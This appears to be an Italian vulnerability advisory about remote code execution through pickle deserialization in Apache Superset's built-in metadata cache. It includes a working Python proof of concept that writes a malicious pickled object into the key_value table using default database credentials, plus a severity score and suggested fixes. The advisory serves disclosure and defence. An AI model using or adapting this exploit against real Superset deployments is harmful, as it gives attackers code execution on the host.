
Exploit sulla cache predefinita di superset utilizzando pickle
[ Autore ] Dinis Cruz
[ Progetto ] Superset
Apache Superset offre diverse opzioni per la cache, tutte basate su Flask-Caching. È fornita una cache integrata che serializza i valori per un successivo recupero. Questa serializzazione e recupero sono effettuati utilizzando Pickle, che permette la de-serializzazione di oggetti Python e quindi l'esecuzione di codice.
La cache integrata scrive informazioni nel database dei metadati, il che significa che un attaccante con accesso a questo database può escalare i propri privilegi e ottenere accesso remoto alla macchina/container che ospita Superset.
La classe MetaStoreCache, che utilizza la classe PickleKeyValueCodec per la serializzazione delle informazioni.
Questo problema è stato riprodotto creando prima un'installazione pulita di Superset che utilizzerà la cache integrata come predefinita.
Con la già consolidata conoscenza che è necessario l'accesso al database per sfruttare questo problema, possiamo aggiornare i valori di tutti i valori in cache con l'exploit pickle. Successivamente, una volta che il valore viene restituito all'utente, il modulo pickle deserializzerà i dati ed eseguirà il nostro codice. Di seguito è riportato un PoC in Python.
import os
import psycopg2
import pickle5 as pickle
class RCE:
def __reduce__(self):
cmd = ('touch /tmp/evil.sh')
return os.system, (cmd,)
def exploit():
pickled = pickle.dumps(RCE())
con = psycopg2.connect(
database="superset",
user="superset",
password="superset",
host="localhost",
port= '5432'
)
cursor = con.cursor()
cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
con.commit()
if __name__ == '__main__':
exploit()
Questo script aggiorna tutti i valori memorizzati nella cache all'interno del database, e una volta che i dati vengono restituiti all'utente, viene creato un file evil.sh all'interno della directory /tmp a scopo dimostrativo.
Tutti gli utenti potrebbero essere impattati.
Punteggio: 9.1
Sebbene la correzione spetti al team di Superset, il grosso problema risiede nell'uso di pickle per la serializzazione dei dati. Per quanto ho capito dal commit #23888, è stato fatto un cambiamento per rimuovere la serializzazione Pickle da altri componenti, ma questa è stata mantenuta a causa della necessità di "gestire tipi binari arbitrari". La soluzione più pulita sarebbe passare a un altro meccanismo di serializzazione, tuttavia si potrebbe implementare un unpickler ristretto, che non è una soluzione sicura ma richiederebbe probabilmente meno lavoro nell'implementazione.
Accesso al database dei metadati in uso dall'installazione di Superset.
Nessuna configurazione speciale, solo un interprete Python per generare il payload; l'introduzione del payload malevolo nel database può essere effettuata in vari modi.